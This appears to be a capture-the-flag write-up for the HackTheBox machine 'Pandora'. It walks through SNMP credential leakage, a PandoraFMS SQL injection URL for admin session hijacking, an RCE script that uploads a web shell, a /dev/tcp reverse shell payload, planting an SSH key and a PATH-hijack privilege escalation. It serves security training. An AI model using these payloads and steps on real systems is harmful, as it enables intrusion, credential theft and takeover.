Pandora Writeup
05 March 2023 #CTF #HTB #box #easy #linuxEnumeration
Sorry, couldn't think of a nice catchphrase:
$ sudo nmap -n -Pn -sCV -oN enum/initial.nmap 10.10.11.136
[...]
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 24c295a5c30b3ff3173c68d7af2b5338 (RSA)
| 256 b1417799469a6c5dd2982fc0329ace03 (ECDSA)
|_ 256 e736433ba9478a190158b2bc89f65108 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Play | Landing
|_http-favicon: Unknown favicon MD5: 115E49F9A03BB97DEB840A3FE185434C
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
[...]
HTTP
Going to http://10.10.11.136
, we get a standard page:
There is a leaked hostname of panda.htb, but even after adding it to /etc/hosts
, it still gives the same page and it doesn't seem to have any subdomains (that are in a wordlist).
At this point we can try to look for other pages:
$ gobuster dir -u http://10.10.11.136/ -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
/assets (Status: 301) [Size: 313] [--> http://10.10.11.136/assets/]
/index.html (Status: 200) [Size: 33560]
But we don't get anything interesting.
SNMP
Since we are at a dead end, we can go back and run a UDP nmap
scan:
$ sudo nmap -F -sU -oN enum/udp.nmap 10.10.11.136
PORT STATE SERVICE
161/udp open snmp
[...]
We see port 161 is open, which is the SNMP port. To enumerate it, we can run snmpwalk
with the default community string ('public'). The output is huge but if we dig into it, we can find what seems like a password for the user daniel:
$ snmpwalk -v1 -c public 10.10.11.136
[...]
HOST-RESOURCES-MIB::hrSWRunParameters.832 = STRING: "-c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'"
[...]
Foothold
We have a set of creds (and nothing else) and SSH is open, so you see where I'm going right?
$ ssh daniel@10.10.11.136
[...]
daniel@pandora:~$ id
uid=1001(daniel) gid=1001(daniel) groups=1001(daniel)
It works!
Privesc
PandoraFMS Exploit
If we take a look in the web root, we see another directory:
daniel@pandora:~$ ls -lA /var/www
total 8
drwxr-xr-x 3 root root 4096 Dec 7 2021 html
drwxr-xr-x 3 matt matt 4096 Dec 7 2021 pandora
To better understand what is going on, we should check the apache config:
daniel@pandora:~$ cat /etc/apache2/sites-enabled/pandora.conf
<VirtualHost localhost:80>
ServerAdmin admin@panda.htb
ServerName pandora.panda.htb
DocumentRoot /var/www/pandora
AssignUserID matt matt
<Directory /var/www/pandora>
AllowOverride All
</Directory>
ErrorLog /var/log/apache2/error.log
CustomLog /var/log/apache2/access.log combined
</VirtualHost>
It is available only on localhost and it is running as the 'matt' user.
To view it in our browser, we need to do a local port forward. We can do so with ssh:
$ ssh -L 8081:127.0.0.1:80 daniel@10.10.11.136
[...]
This will open port 8081 on our attack box and forward requests to port 80 on the remote box (on the loopback interface).
Now we can access the virtual host:
This is the login page for PandoraFMS, a network monitoring solutionl.
At the bottom of the page, there is a version: v7.0NG.742_FIX_PERL2020. Looking up this version leads us to this exploitdb entry for an Authenticated RCE and this blog post describing an SQL injection to bypass login (PoChere). Pretty convenient right?
This is the URL that will grant us an admin session cookie:
http://127.0.0.1:8081/pandora_console/include/chart_generator.php?session_id=a%27%20UNION%20SELECT%20%27a%27,1,%27id_usuario|s:5:%22admin%22;%27%20as%20data--%20-
We're exploiting the SQLi in chart_generator.php
by doing a UNION injection that puts us in control of what data is loaded into our session. In this case we use it to impersonate the 'admin' user:
We see the admin panel, so it worked. Now we can take the PHPSESSID cookie and feed it to the exploit script:
$ ./rce.py -t 127.0.0.1 8081 -p l7te11bnl6m2m9fcpu8eac0h57
_ __,~~~/_ __ ___ _______________ ___ ___
,~~`( )_( )-\| / / / / |/ / _/ ___/ __ \/ _ \/ _ \
|/| `--. / /_/ / // // /__/ /_/ / , _/ // /
_V__v___!_!__!_____V____\____/_/|_/___/\___/\____/_/|_/____/....
UNICORD: Exploit for CVE-2020-5844 (Pandora FMS v7.0NG.742) - Remote Code Execution
OPTIONS: Web Shell Mode
PHPSESS: l7te11bnl6m2m9fcpu8eac0h57
WEBFILE: unicord.php
WEBSITE: http://127.0.0.1:8081/pandora_console
EXPLOIT: Connected to website! Status Code: 200
EXPLOIT: Logged into Pandora FMS!
EXPLOIT: Web shell uploaded!
SUCCESS: Web shell available at: http://127.0.0.1:8081/pandora_console/images/unicord.php?cmd=whoami
This exploit abused an admin functionality to upload a php webshell.
We can get a reverse shell as matt with this payload:
bash -c 'bash -i >%26 /dev/tcp/10.10.14.3/443 0>%261'
Get SSH session for matt
I had weird errors in my reverse shell when dealing with setuid stuff:
matt@pandora:/var/www/pandora/pandora_console/images$ sudo -l
sudo -l
sudo: PERM_ROOT: setresuid(0, -1, -1): Operation not permitted
sudo: unable to initialize policy plugin
So I'll add an SSH key for matt. First, create the .ssh directory and the authorized_keys file:
matt@pandora:/home/matt$ mkdir /home/matt/.ssh
matt@pandora:/home/matt$ touch /home/matt/.ssh/authorized_keys
matt@pandora:/home/matt$ chmod 0600 /home/matt/.ssh/authorized_keys
Don't forget to chmod 600
the authorized_keys file, it won't work otherwise.
Next we need to actually generate the key (on our attack box):
$ ssh-keygen -f matt.key -t ed25519
[...]
Then, add it to the authorized_keys file:
matt@pandora:/home/matt$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILQ2+5jlI09TrGf6KE/7rhHY2D0ATIUX3sE5HUr8/NL3 yep@bruh' > /home/matt/.ssh/authorized_keys
And now we can get a nice SSH session that will fix this weird error:
$ ssh -i matt.key matt@10.10.11.136
[...]
matt@pandora:~$ id
uid=1000(matt) gid=1000(matt) groups=1000(matt)
Abuse Custom setuid Binary
While looking for setuid binaries on the system we come across an interesting result:
matt@pandora:~$ find / -type f -executable -user root -perm -u=s -ls 2> /dev/null
[...]
262929 20 -rwsr-x--- 1 root matt 16816 Dec 3 2021 /usr/bin/pandora_backup
This pandora_backup
executable sticks out. Let's see what it does (what could go wrong?):
matt@pandora:~$ pandora_backup
[...]
/var/www/pandora/pandora_console/vendor/egulias/email-validator/LICENSE
/var/www/pandora/pandora_console/ws.php
Backup successful!
Terminating program!
It seems to create an archive of the web directory.
We'll copy it to our box to analyze it:
$ scp -i matt.key matt@10.10.11.136:/usr/bin/pandora_backup .
pandora_backup % 16KB 180.6KB/s 00:00
Before doing some crazy reverse engineering, we can just run strings
on it:
$ strings pandora_backup | head -20
/lib64/ld-linux-x86-64.so.2
puts
setreuid
system
getuid
geteuid
__cxa_finalize
__libc_start_main
libc.so.6
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
[]A\A]A^A_
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/*
Backup failed!
Check your permissions!
[...]
We see the system
function is imported so it's pretty safe to assume the tar
command a few line below is being executed.
The tar
command is not using an absolute path so we can abuse it by creating a shell script (for example) named tar
and modify the PATH variable to execute our custom script instead of the real tar
program.
First, create the script. It will just copy bash
to our home folder and make it setuid:
matt@pandora:~$ cat tar
#!/bin/sh
cp $(which bash) /home/matt/
chmod u+s /home/matt/bash
Then we need to modify the PATH variable to include our current working directory before the rest of the original PATH:
matt@pandora:~$ export PATH=$PWD:$PATH
matt@pandora:~$ echo $PATH
/home/matt:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
Finally execute pandora_backup
(and hope for the best):
matt@pandora:~$ pandora_backup
PandoraFMS Backup Utility
Now attempting to backup PandoraFMS client
Backup successful!
Terminating program!
Let's see if it worked:
matt@pandora:~$ ls -l
total 1164
-rwsr-xr-x 1 root matt 1183448 Mar 4 18:16 bash
-rwxrwxr-x 1 matt matt 66 Mar 4 18:11 tar
-rw-r----- 1 root matt 33 Mar 4 11:14 user.txt
It did! Now just execute bash with the -p
flag to preserve privileges:
matt@pandora:~$ ./bash -p
bash-5.0# id
uid=1000(matt) gid=1000(matt) euid=0(root) groups=1000(matt)
bash-5.0# ls /root
root.txt
Key Takeaways
- Don't forget to scan UDP
- Look for relative executable paths in setuid binaries -> free path hijacking